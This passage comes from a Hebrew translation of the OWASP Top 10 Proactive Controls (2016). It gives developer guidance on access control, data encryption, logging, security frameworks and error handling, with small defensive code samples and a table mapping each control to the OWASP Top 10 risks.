בהתאמה לבקרות גישה אוטומטיות, יש לשקול לשלול גישה לתכונות אשר לא הוגדרו עבורן בקרות גישה. בד"כ ההיפך הוא הנכון כאשר תכונות חדשות מקבלות הרשאות גישה מלאות לכלל המשתמשים עד אשר המפתחים מוסיפים בקרות גישה מתאימות.

עקרון ההרשאה המינימאלית (Least Privilege)

כאשר מפתחים בקרות גישה, צריך לשייך לכל משתמש או רכיב במערכת הרשאת גישה מינימאלית הנדרשת לצורך ביצוע פעולה, המוגבלת לזמן המינימאלי הנדרש.

הימנע משימוש במדיניות השמורה בצורה קשיחה (Hard-coded) ברמת הקוד

לעיתים קרובות, מדיניות בקרת גישה שמורה בצורה קשיחה (Hard-coded) ברמת הקוד. הדבר גורם לכך שחיווי או הוכחת רמת האבטחה של התוכנה הינם דברים מורכבים אשר דורשים זמן רב. ככל האפשר, על מדיניות בקרת הגישה וקוד היישום להיות נפרדים. במילים אחרות, זוהי שכבת האכיפה (בקרות ברמת הקוד) וההחלטה על תהליכי בקרות הגישה ("מנוע" בקרת הגישה) צריך להיות נפרד ככל האפשר.

קוד לפעולה

מרבית מסגרות העבודה (Frameworks) בפיתוחי Web משתמשות בבקרות גישה מבוססות תפקיד (Role based) כדרך העיקרית לפיתוח נקודות אכיפה ברמת הקוד. בעוד שמקובל להשתמש בתפקידים (Roles) כמנגנוני בקרת גישה, כתיבת קוד ספציפית לטובת תפקיד ביישום קוד נחשב נוגד-מסגרת. יש לשקול בדיקה האם למשתמש יש גישה לתכונה ברמת הקוד, בניגוד לבדיקה מהו תפקיד המשתמש ברמת הקוד. בדיקה שכזו צריכה לקחת בחשבון את הקשר הספציפי של מידע/משתמש. לדוגמא, משתמש עשוי להיות מסוגל לעדכן פרויקטים בהתאם לתפקיד שלו, אך גישה לפרויקט מסוים מחייבת בדיקה האם קיים צורך עסקי או חוק אבטחתי המאפשר הרשאה לבצע זאת.

לכן במקום לשמור בצורה קשיחה (hard-coded) את בדיקת התפקידים של המשתמש לכל אורך הקוד כפי שמופיע בדוגמא הבאה:

```
if (user.hasRole("ADMIN")) || (user.hasRole("MANAGER")) {
deleteAccount();
}
```

שקול להשתמש בקוד באופן הבא:

```
if (user.hasAccess("DELETE_ACCOUNT")) {
deleteAccount();
}
```

בדיקת מידע מאומת בצד-השרת כמניע לבקרת גישה

מרבית ההחלטות לגבי בקרת גישה (מיהו המשתמש, האם הוא מחובר למערכת, אילו זכויות יש למשתמש, מהי מדיניות בקרת הגישה, לאילו תכונות או מידע נדרש לגשת, מהו הזמן, מהו המיקום וכו') אמורות להתקבל "בצד-השרת" ביישומי Web או Web service סטנדרטיים. למדיניות המידע כגון תפקיד המשתמש או חוקי בקרת גישה אסור להיות חלק מהבקשה עצמה. ביישום Web סטנדרטי, המידע היחיד הנדרש בצד הלקוח לטובת בקרת גישה היו זהות המידע הנדרש לגישה. מרבית ייתר פרטי המידע לצורך החלטה לגבי בקרת גישה צריך להתקבל בצד-השרת.

דוגמאות לקוד Java

כפי שתואר מקודם, מומלץ להפריד את מדיניות בקרת הגישה משכבת הלוגיקה העסקית (קוד היישום). ניתן להשיג זאת באמצעות מנגנון אבטחה מרכזי המאפשר הגדרת מדיניות בקרת גישה גמישה ומותאמת אישית בתוך היישום עצמו. לדוגמא, Apache Shiro API הגדרת תצורה מבוססת קבצי INI המגדיר את מדיניות בקרת הגישה בצורה מודולרית. Apache Shiro הינו בעל יכולת לתקשר עם כל סוג של מסגרת תואמת JavaBeans (דוגמת Spring, Guice, JBoss וכו'). היבטים המאפשרים שיטות הפרדה טובות בין בקרת הגישה לקוד היישום, תוך יישום ביקורת.

פגיעויות שנמנעות

- OWASP Top 10 2013-A4-Insecure Direct Object References
- OWASP Top 10 2013-A7-Missing Function Level Access Control
- OWASP Mobile Top 10 2014-M5 Poor Authorization and Authentication

מקורות מידע נוספים

- OWASP Access Control Cheat Sheet
- OWASP Testing Guide for Authorization
- OWASP iOS Developer Cheat Sheet Poor Authorization and Authentication

7. הגנה על המידע

הצפנת מידע בתעבורה

כאשר משדרים מידע רגיש, בכל שכבה ביישום או בתצורת הרשת, יש לשקול הצפנה-בתעבורה מסוג כלשהו. TLS הינו המודל הנפוץ והמוכר ביותר למימוש הצפנה בתעבורה ביישומי Web. למרות חולשות שפורסמו במימושים מסוימים (לדוגמא Heartbleed), זהו עדיין האופן המקובל והמומלץ למימוש שכבת הצפנה בתעבורה.

הצפנת מידע בעת אחסון

קשה לפתח בצורה מאובטחת אחסון קריפטוגרפי. זהו קריטי לסווג מידע במערכת על-מנת לקבוע האם נדרש להצפין מידע, דוגמת הצורך להצפין מספרי כרטיסי אשראי בהתאם לתקן PCI-DSS. כמו-כן, בכל פעם שמתחילים לפתח פונקציות קריפטוגרפיות בצורה עצמאית, יש להיעזר במומחה בעל ידע מעמיק. במקום לפתח פונקציות קריפטוגרפיות מחדש, מומלץ לאפשר בחינה ע"י עמיתים ושימוש בספריות מבוססות קוד פתוח במקום זאת, דוגמת פרויקט Google KeyCzar, Bouncy Castle ופונקציות הכלולות ב-SDK. כמו-כן, היה מוכן להתמודד עם היבטים מורכבים של קריפטוגרפיה שימושית כגון ניהול מפתחות (key management), תכנון ארכיטקטורה קריפטוגרפית כוללת וכן שכבות ובעיות אמון ביישומים מורכבים.

חולשה שכיחה בהצפנת מידע בעת אחסון הינה שימוש במפתח לא מתאים, או אחסון מפתח ההצפנה ביחד עם המידע המוצפן (המקבילה הקריפטוגרפית של השארת מפתח הכניסה לבית מתחת למפתן הדלת). יש לטפל במפתחות הצפנה כסודות אשר קיימים אך ורק ברכיב בזמן תעבורה, לדוגמא מוזנים ע"י המשתמש לצורך פענוח, ומיד נמחקים מהזיכרון. חלופות אחרות הינן שימוש ברכיב הצפנה מבוסס חומרה כגון HSM לניהול המפתחות ובידוד התהליך הקריפטוגרפי.

יישם הגנה בעת תעבורה

וודא כי מידע סודי או רגיש אינו חשוף בטעות בעת עיבוד. המידע עשוי להיות נגיש בזיכרון או שהוא נכתב למקום אחסון זמני או קבצי חיווי, כאשר באופן זה הוא עשוי להיות גלוי לתוקף.

יישומי מובייל: אחסון מקומי מאובטח

בהקשר של מכשירים ניידים, אשר בד"כ נאבדים או נגנבים, אחסון מקומי מאובטח מחייב שיטות ראויות. כאשר יישום אינו מיישם מנגנוני אחסון בצורה ראויה, הדבר עלול להוביל לחשיפה מידע מהותית (דוגמא: נתוני הזדהות, access tokens וכו'). כאשר מנהלים מידע רגיש, הדרך הטובה ביותר הינה לא לשמור מידע רגיש בצורה מקומית על המכשיר הנייד, במקרה הצורך להשתמש בשיטות כגון iOS keychain.

פגיעויות שנמנעות

- OWASP Top 10 2013-A6-Sensitive_Data_Exposure
- OWASP Mobile Top 10 2014-M2 Insecure Data Storage

מקורות מידע נוספים

- תצורת TLS ראויה: OWASP Transport Layer Protection Cheat Sheet
- הגנה על המשתמשים ממתקפת man-in-the-middle באמצעות הונאת תעודות TLS: OWASP Pinning Cheat Sheet
- OWASP Cryptographic Storage Cheat Sheet
- OWASP Password Storage Cheat Sheet
- OWASP Testing for TLS
- OWASP iOS Secure Data Storage
- OWASP Insecure data storage

כלים נוספים

- OWASP O-Saft TLS Tool

8. יישם תיעוד ואמצעים לזיהוי חדירות

תיאור הבקרה

חיווי ברמת היישום צריך להילקח בחשבון מבעוד מועד או מוגבל לשלב ניפוי השגיאות או פתרון תקלות. חיווי משמש גם לפעילויות חשובות אחרות:

- ניטור היבטי היישום
- ניתוח עסקי ותובנות
- בדיקת פעילות וניטור לצורכי תאימות (Compliance)
- אמצעי לזיהוי חדירות במערכת
- תחקור (Forensics)

חיווי ומעקב אחר אירועי אבטחת מידע ומדדים מסייע לאפשר הגנה מבוססת מתקפה: הדבר מאפשר לוודא כי בדיקות אבטחת המידע והבקרות מיושרות עם מתקפות אמיתיות כלפי המערכת. על-מנת לבצע ניתוח והתאמה בצורה פשוטה יותר, בססו גישת חיווי בסיסית בתוך המערכת וכן על פני מערכות ככל האפשר, באמצעות מסגרת (Framework) חיווי מעמיקה כגון SLF4J עם Logback או Apache עם Log4j2, על-מנת להבטיח כי כלל רשומות החיווי נשמרות בצורה אחידה.

ניטור תהליכים, חיווי ותיעוד עסקאות (transaction logs/trails) וכו' לרוב נאספים לצרכי שונים מאשר לטובת איסוף אירועי אבטחת מידע, ולרוב פירוש הדבר כי נדרש לשמור חיווי זה בצורה נפרדת. סוגי האירועים והפרטים הנאספים נוטים להיות שונים. לדוגמא חיווי עבור תקן PCI DSS יכיל רצף רשומות של אירועים על-מנת לייצר תיעוד עצמאי הניתן לאימות אשר יאפשר יצירה מחדש, סקירה ובחינה לצורך קבלת החלטה לגבי רצף העסקאות (transactions) המיוחסות.
חשוב להקפיד לא לתעד יותר מדי, או פחות מדי. הקפידו לתעד את הזמן המדוייק ומידע לגבי הזהות כגון כתובת המקור (source IP) וזהות המשתמש (user-id), אבל להימנע מתיעוד של פרטים אישיים או מידע חסוי הוא חשיפת מידע או סודות. השתמשו בידע לגבי הצורך הנדרש על-מנת להדריך אתכם לגבי מה, מתי וכמה מידע לתעד. על-מנת להימנע מהזרקות של מידע לתיעוד (Log injection) הידועות בכינוי Log Forging, בצעו קידוד למידע לא מאומת לפני שמירתו בקבצי התיעוד.

פרוייקט AppSensor של OWASP מסביר כיצד לממש אמצעי לזיהוי חדירות (Intrusion detection) ותגובה אוטומטית לתוך יישום קיים, היכן לשלב חיישנים או נקודות זיהוי ואילו פעולות תגובה ליישם כאשר קורית חריגת אבטחת מידע בתוך היישום. לדוגמא, במידה ועריכה בצד-השרת מזהה "מידע-רע" אשר היה אמור להיערך בצד-הלקוח, או זיהוי של ניסיון עריכת שדה אשר לא אמורים לערוך אותו, במקרה זה יש לך באג בקוד (או סביר יותר להניח) שמישהו עקף את מנגנוני הבדיקה בצד-הלקוח והוא מתקיף את היישום שלך. אל תסתפק בתיעוד המקרה והחזרת הודעת שגיאה, החזר התראה, או פעל להגנה על המערכת באופן שבו ינותק ה-session או ינעל את החשבון המדובר.

ביישומי מובייל, מפתחים נוהגים להשתמש בפונקציות תיעוד לצורכי debugging, דבר אשר עלול להוביל לחשיפת מידע רגיש. חיווי זה ברמת ה-console לא רק נגיש באמצעות Xcode IDE (בפלטפורמת iOS) או Logcat (בפלטפורמת אנדרואיד) אלא גם ע"י כל יישום צד ג' המותקן על המכשיר. מסיבה זו, ה-best practice הוא לנטרל לחלוטין את פונקציית החיווי בגרסאות ייצור.

תכנון חיווי בצורה מאובטחת עשוי לכלול את האפשרויות הבאות: 1. תצורת חיווי במספר רמות כגון מידע בלבד, אזהרות, הודעות שגיאה, תקלות קריטיות או ניסיונות פריצה (הרמה הגבוהה ביותר של חיווי), 2. קידוד כל התווים על-מנת להימנע ממתקפות מסוג log injection, 3. הימנע מתיעוד מידע רגיש. לדוגמא, סיסמא, מזהה שיחה (session ID) או ערך hash של סיסמא, מספרי כרטיסי אשראי ותעודות זהות, 5. תעד גדילה של קובץ חיווי: תוקפים עשויים לשלוח מספר רב של בקשות אשר עשויות לגרור למתקפת מניעת שירות על הדיסק הקשיח או כתיבה על היסטוריית קבצי חיווי.

בטל חיווי בגרסאות ייצור של יישומי אנדרואיד

הדרך הפשוטה ביותר להימנע מהידור של Log Class בסביבות ייצור הינה שימוש בכלי אנדרואיד בשם ProGuard להסרת קריאות חיווי באמצעות הוספת האופציה הבאה בקובץ ההגדרות proguard-project.txt:

```
-assumenosideeffects class android.util.Log
{
public static boolean isLoggable(java.lang.String, int);
public static int v(...);
public static int i(...);
public static int w(...);
public static int d(...);
public static int e(...);
}
```

בטל חיווי בגרסאות ייצור של יישומי iOS

ניתן להשתמש בשיטה זו בתוך יישומי iOS בזמן טרום-עיבוד להסרת כלל הצהרות החיווי:

```
#ifndef DEBUG
#define NSLog(...)
#endif
```

פגיעויות שנמנעות

- כלל עשרת הפגיעויות הנפוצות
- Mobile Top 10 2014-M4 Unintended Data Leakage

מקורות מידע נוספים

- OWASP Logging Cheat Sheet
- OWASP Sensitive Information Disclosure
- OWASP Logging
- OWASP Reviewing Code for Logging Issues

כלים נוספים

- OWASP AppSensor Project
- OWASP Security Logging Project

9. שימוש בתכונות אבטחה של מסגרות עבודה (Frameworks) וספריות (Libraries) אבטחה

להתחיל מאפס כשהדבר נוגע לפיתוח בקרות אבטחה עשוי להוביל לבזבוז זמן וכמות עצומה של חורי אבטחה. פיתוח מאובטח של ספריות (Libraries) מסייע למפתחים להגן מפני פגמי אבטחה הקשורים לתכנון ומימוש של יישומים. מפתח הכותב יישום מאפס עשוי להיות חסר מספיק זמן או תקציב על-מנת ליישם תכונות אבטחה וכן תחומי תעשייה שונים עשויים תקינות שונות ורמות שונות של תאימות (compliance).

ככל שניתן, הדגש צריך להיות על שימוש בתכונות הקיימות של מסגרות העבודה (Frameworks) במקום על ייבוא של ספריות (Libraries) צד שלישי. עדיף למפתחים לנצל מה שכבר בשימוש במקום להתמודד עם ספריות אחרות. מסגרות עבודה בעולם הפיתוח המאובטח אותן ניתן לשקול כוללות:

- Spring Security
- Apache Shiro
- Django Security
- Flask security

יש לשקול שלא כל מסגרות העבודה חסינות בפני פגמים ולחלקן שטח פנים גדול החשוף להתקפה בשל תכונות רבות ובשל תוספי צד ג' הזמינים לשימוש. דוגמא טובה הינה מסגרת העבודה של Wordpress (מסגרת עבודה נפוצה במיוחד להשגת אתר אינטרנט זמין מאפס), הדוחפת עדכוני אבטחה, אך אינה יכולה לתמוך באבטחה של תוספים צד ג' או יישומים. על כן חשוב לתכנן אבטחה נוספת ככל שניתן, עדכונים דחופים ובדיקתם בשלב מוקדם ככל הניתן ולעיתים דחופות בדומה לכל יישום אשר אתה תלוי בו.

פגיעויות שנמנעות

מסגרות עבודה וספריות מאובטחות ימנעו לרוב פגיעויות ביישומי Web דוגמת אלו המפורטות במסמך OWASP Top10, בייחוד אלו המסתמכות על קלט סינטטי שגוי (לדוגמא: הזנת תוכן JavaScript במקום שם המשתמש). זה מהותי לעדכן מסגרות עבודה וספריות אלו כפי שמתואר במסמך OWASP Top10.

מקורות מידע נוספים

- OWASP PHP Security Cheat Sheet
- OWASP .NET Security Cheat Sheet
- Security tips and tricks for JavaScript MVC frameworks and templating libraries
- Angular Security
- OWASP Security Features in common Web Frameworks
- OWASP Java Security Libraries and Frameworks

כלים נוספים

- OWASP Dependency Check

10. הודעות שגיאה וטיפול בחריגות

תיאור הבקרה

יישום נכון של הודעות שגיאה וטיפול בחריגות אינו דבר מהנה, אך בדומה לבדיקת קלטים, זהו חלק חשוב בהגנה על קוד, מהותי להפיכת המערכת לאמינה וכן מאובטחת. טעויות בטיפול בשגיאות עלולות להוביל לחולשות אבטחת מסוגים שונים:

1) חשיפת מידע לתוקפים, מסייע להם לקבל מידע נוסף לגבי הפלטפורמה שלך או התכנון CWE-209. לדוגמא, החזרת stack trace או הודעת שגיאה פנימית אחרת עשוי לגלות לתוקף מידע רב אודות סביבת העבודה שלך. החזרת סוגים שונים של הודעות שגיאה בתרחישים שונים (לדוגמא, "משתמש אינו קיים" לעומת "סיסמא לא תקינה" בהודעות שגיאה הנוגעות לאימות) עשויות לאפשר לתוקף למצוא את הדרך לחדור למערכת.
2) אי-בדיקת הודעות שגיאה, דבר העלול להוביל לשגיאות אשר אינן נבדקות, או תוצאות בלתי צפויות כגון CWE-391. חוקרים באוניברסיטת טורונטו מצאו כי אי-טיפול בהודעות שגיאה, או טעויות מזעריות בטיפול בהודעות שגיאה, תורמות רבות לכשלים הרי-אסון במערכות מבוזרות – ראה: https://www.usenix.org/system/files/conference/osdi14/osdi14-paper-yuan.pdf הודעות שגיאה וטיפול בחריגות עשויות להתרחב לסוגיות מהותיות בלוגיקה העסקית וכן תכונות אבטחת מידע ומסגרות קוד. בחינות קוד קפדניות, ובדיקות שליליות (לרבות בדיקות מחקריות ובדיקות חוסן), fuzzing וכשלי הזרקה עשויות כולן לסייע במציאת בעיות בטיפול בשגיאות. אחד הכלים הממוכנים הנפוצים לכך הוא Netflix's Chaos Monkey.

עצה חיובית

מומלץ לנהל חריגות באופן מרכזי על-מנת להימנע מכפילויות ניסיון/תפיסת בלוקים בקוד, ולוודא כי כל התנהגות בלתי-צפויה מטופלת בצורה ראויה בתוך היישום.

- וודא כי הודעות השגיאה המוצגות למשתמשים אינן חושפות מידע רגיש, אך עדיין מפורטות מספיק על-מנת להסביר את התקלה למשתמש.
- וודא כי חריגות מתועדות באופן המספק מידע מספיק לאנשי הבדיקות, חוקרי אבטחת המידע (forensics) או צוותי התגובה (incident response) על-מנת להבין את הבעיה.

פגיעויות שנמנעות

- כלל עשרת הפגיעויות הנפוצות

מקורות מידע נוספים

- OWASP Code Review Guide - Error Handling
- OWASP Testing Guide - Testing for Error Handling
- OWASP Improper Error Handling

כלים נוספים

- Aspirator – כלי פשוט למציאת באגים הקשורים לטיפול בחריגות

מיפוי עשרת הבקרות הפרו-אקטיביות של ארגון OWASP לשנת 2016

מסמך עשרת הבקרות הפרו-אקטיביות של ארגון OWASP הינו מסמך ממוקד רשימת שיטות אבטחה עבור מפתחים אשר אמור להיכלל כחלק מכל פרויקט פיתוח תוכנה. כל בקרה מסייעת למנוע אחד או יותר מהאיומים המופיעים במסמך עשרת הפגיעויות הנפוצות של ארגון OWASP, חולשות יישומי ה-Web המהותיים ביותר.

מסמך זה מציג מיפוי של עשרת הפגיעויות הנפוצות של OWASP למול הבקרות המתאימות.

רשימת הבקרות הפרו-אקטיביות של OWASP	לאילו פגיעויות מרשימת OWASP Top 10 הבקרה נותנת מענה
C1: וודא היבטי אבטחה מוקדם ככל האפשר ולעיתים קרובות שלב בדיקות אבטחה כחלק מובנה מהעיסוק בהנדסת התוכנה. שקול להשתמש במסמך OWASP ASVS כמדריך להגדרת דרישות אבטחת המידע והבדיקות.	• A1 - הזרקת קוד זדוני (Injection) • A2 - הזדהות שבורה ומנגנון ניהול שיחה • Cross-Site Scripting (XSS) – A3 • A4 - אזכור ישיר לרכיב לא מאובטח (Insecure Direct Object Reference) • A5 - ניהול תצורה לא מאובטח (Security Misconfiguration) • A6 - חשיפת מידע רגיש • A7 - חוסר בבקרת גישה ברמה היישומית • Cross-Site Request Forgery - A8 (CSRF) • A9 - שימוש ברכיבים עם פגיעויות ידועות • A10 - הפניות והעברות לא מאומתות (Unvalidated Redirects and Forwards)
C2: שאילתות מבוססות משתנים שאילתות מבוססות משתנים הן דרך למנף הפשטה של שכבת הגישה למידע כיצד משתנים מתורגמים לפני הרצתם כחלק משאילתת SQL. הדבר משמש להגנה מפני מתקפות SQL Injection	• A1 - הזרקת קוד זדוני (Injection)
C3: קידוד נתונים קדד מידע לפני השימוש בו ברכיב ה-parsing (JS, CSS, XML)	• A1 - הזרקת קוד זדוני (Injection) • Cross-Site Scripting (XSS) – A3
C4: בדיקת קלטים שקול כי כל הקלט מחוץ לגבולות היישום נחשב בלתי אמין. עבור יישומי Web הדבר כולל HTTP Headers, Cookies ומשתני GET ו-POST: חלק או כל מידע זה עשוי לשמש בעורמה ע"י תוקף	• A1 - הזרקת קוד זדוני (Injection) • Cross-Site Scripting (XSS) – A3 • A10 - הפניות והעברות לא מאומתות (Unvalidated Redirects and Forwards)

C5: יישם בקרות זהות ואימות אימות הינו תהליך וידוא כי אדם או יישות הינו מי שהוא טוען שהוא, בעוד ניהול זהויות (identity management) הינו תחום רחב יותר אשר כולל לא רק אימות, ניהול שיחה (session management), וגם מכסה תחום מעמיק יותר כגון identity federation, SSO, כלי ניהול סיסמאות, מאגרי זהויות ועוד	• A2 - הזדהות שבורה ומנגנון ניהול שיחה
C6: יישם בקרות גישה הרשאה (בקרת גישה) הינו תהליך בו בקשת גישה לתכונה או משאב אמורה להיות מאושרת או נשללת. יש להתחשב בדרישות לתכנון בקרת גישה "חיובית" אלו בשלב תכנון פיתוח תוכנה: • חייב את כל הבקשות לעבור בדיקות של בקרות גישה • שלול גישה כברירת מחדל • הימנע משימוש במדיניות השמורה בצורה קשיחה (Hard-coded) ברמת הקוד • בדוק בצד-השרת כאשר ניגשים לכל פונקציה	• A4 - אזכור ישיר לרכיב לא מאובטח (Insecure Direct Object Reference) • A7 - חוסר בבקרת גישה ברמה היישומית
C7: הגנה על המידע הצפנת מידע בעת אחסון ובעת תעבורה	• A6 - חשיפת מידע רגיש
C8: יישם תיעוד ואמצעים לזיהוי חדירות	• A1 - הזרקת קוד זדוני (Injection) • A2 - הזדהות שבורה ומנגנון ניהול שיחה • Cross-Site Scripting (XSS) – A3 • A4 - אזכור ישיר לרכיב לא מאובטח (Insecure Direct Object Reference) • A5 - ניהול תצורה לא מאובטח (Security Misconfiguration) • A6 - חשיפת מידע רגיש • A7 - חוסר בבקרת גישה ברמה היישומית • Cross-Site Request Forgery - A8 (CSRF) • A9 - שימוש ברכיבים עם פגיעויות ידועות • A10 - הפניות והעברות לא מאומתות (Unvalidated Redirects and Forwards)

C9: שימוש בתכונות אבטחה של מסגרות עבודה (Frameworks) וספריות (Libraries) אבטחה התחלה מאפס בכל הנוגע לפיתוח בקרות אבטחת מידע מובילה לבזבוז זמן וכמות גדולה של חורי אבטחה. פיתוח ספריות קוד בצורה מאובטחת מסייע להגן על מפתחים מפני כשלי אבטחה הנוגעים לפיתוח ומימוש. זה מהותי לעדכן מסגרות עבודה וספריות. לדוגמא: • בחירת בסיס נתונים טוב מסוג ORM • בחירת מסגרת עבודה בעלת בקרת גישה טובה מובנית • בחירת מסגרת עבודה בעלת מנגנון CSRF מובנה	• A1 - הזרקת קוד זדוני (Injection) • A2 - הזדהות שבורה ומנגנון ניהול שיחה • Cross-Site Scripting (XSS) – A3 • A4 - אזכור ישיר לרכיב לא מאובטח (Insecure Direct Object Reference) • A5 - ניהול תצורה לא מאובטח (Security Misconfiguration) • A6 - חשיפת מידע רגיש • A7 - חוסר בבקרת גישה ברמה היישומית • Cross-Site Request Forgery - A8 (CSRF) • A9 - שימוש ברכיבים עם פגיעויות ידועות • A10 - הפניות והעברות לא מאומתות (Unvalidated Redirects and Forwards)
C10: הודעות שגיאה וטיפול בחריגות	• A1 - הזרקת קוד זדוני (Injection) • A2 - הזדהות שבורה ומנגנון ניהול שיחה • Cross-Site Scripting (XSS) – A3 • A4 - אזכור ישיר לרכיב לא מאובטח (Insecure Direct Object Reference) • A5 - ניהול תצורה לא מאובטח (Security Misconfiguration) • A6 - חשיפת מידע רגיש • A7 - חוסר בבקרת גישה ברמה היישומית • Cross-Site Request Forgery - A8 (CSRF) • A9 - שימוש ברכיבים עם פגיעויות ידועות • A10 - הפניות והעברות לא מאומתות (Unvalidated Redirects and Forwards)

OWASP Top 10 Mapping 2016

	A1-Injection	A2-Broken Authentication and Session Management	A3-Cross-Site Scripting (XSS)	A4-Insecure Direct Object References	A5-Security Misconfiguration	A6-Sensitive Data Exposure	A7-Missing Function Level Access Control	A8-Cross-Site Request Forgery (CSRF)	A9-Using Components with Known Vulnerabilities	A10-Unvalidated Redirects and Forwards
C1: Verify for Security Early and Often	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓
C2: Parameterize Queries	✓									
C3: Encode Data	✓		✓							
C4: Validate All Inputs	✓		✓							✓
C5: Implement Authentication Controls		✓								
C6: Implement Appropriate Access Controls				✓			✓			
C7: Protect Data						✓				
C8: Implement Logging and IDs	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓
C9: Leverage Security Frameworks	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓
C10: Error and Exception Handling	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓